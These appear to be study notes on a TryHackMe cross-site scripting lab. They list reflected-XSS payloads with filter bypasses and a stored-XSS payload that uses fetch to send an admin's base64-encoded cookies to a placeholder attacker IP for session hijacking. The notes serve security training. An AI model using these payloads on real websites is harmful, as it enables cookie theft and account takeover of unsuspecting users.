Cross Site Scripting Explained | TryHackMe Junior Penetration Tester

Introduction

We covered cross site scripting vulnerability through different levels of security. We used TryHackMe Junior Penetration Tester pathway.

It’s worth noting that because XSS is based on JavaScript, it would be helpful to have a basic understanding of the language. However, none of the examples is overly complicated—also, a basic understanding of Client-Server requests and responses.

OSCP Certificate Notes

Web Hacking Study Notes

Overview of XSS

Cross-Site Scripting, better known as XSS in the cybersecurity community, is classified as an injection attack where malicious JavaScript gets injected into a web application with the intention of being executed by other users. In this room, you’ll learn about the different XSS types, how to create XSS payloads, how to modify your payloads to evade filters, and then end with a practical lab where you can try out your new skills.

Cross-site scripting vulnerabilities are extremely common. Below are a few reports of XSS found in massive applications; you can get paid very well for finding and reporting these vulnerabilities.

Part 1: Reflected XSS (Challenges)

• Objective: Perform various XSS payload injections to trigger pop-up alerts and extract flags in different levels.

1. Level 1 (Basic):
   • Users are asked to enter their name in an input box.
   • The simple XSS payload (<script>alert('THM')</script>) triggers a pop-up confirming that the page is vulnerable to reflected XSS.
2. Level 2 (Handling Input):
   • The input is echoed back to the user, but special characters like quotes may interfere with the payload.
   • Solution involves modifying the payload to close quotes ("><script>alert('THM')</script>), bypassing the input sanitization.
3. Level 3 (Text Area Bypass):
   • In this level, the input goes into a text area, and the user must inject the script after closing the text area tag (</textarea><script>alert('THM')</script>).
4. Level 4 (JavaScript Insertion):
   • The input is inserted into JavaScript code, so the payload needs to close the current line and insert a new command (';alert('THM');//).
5. Level 5 (Script Filter Bypass):
   • The page filters out the word “script”. The solution is to break the word into two parts (<scr'+'ipt>alert('THM')</script>), which bypasses the filter.
6. Level 6 (Image Tag Manipulation):
   • The user injects a payload into the image src attribute, using the onload event to trigger the alert when the image is loaded ("onload=alert('THM')").

Part 2: Stored XSS (Cookie Stealing Scenario)

Introduction to Stored XSS:

• Stored XSS stores the malicious payload on the server, making it possible for multiple users to be affected when they access the page.
• In this scenario, the attacker submits a support ticket with a malicious payload, and when the admin views the ticket, the attack is executed.

Setting Up the Attack:

• The attacker creates a payload that closes the text area and executes a script to send the admin’s cookies to the attacker’s server.

</textarea><script>fetch('http://<attacker-ip>:8000?cookie=' + btoa(document.cookie))</script>

• This script uses the fetch API to send a base64-encoded version of the admin’s cookies to the attacker’s server.

Stealing Cookies:

• The attacker sets up a web server to receive the admin’s cookie when they view the ticket.
• When the admin opens the ticket, their cookie is sent to the attacker’s server, and the attacker can decode the base64-encoded cookie to retrieve the session.

Cookie Decoding and Exploitation:

• The attacker decodes the base64 string, revealing the admin’s session information, which can be used to hijack the session or perform other attacks.

TryHackMe XSS | Room Answers

Video Walk-Through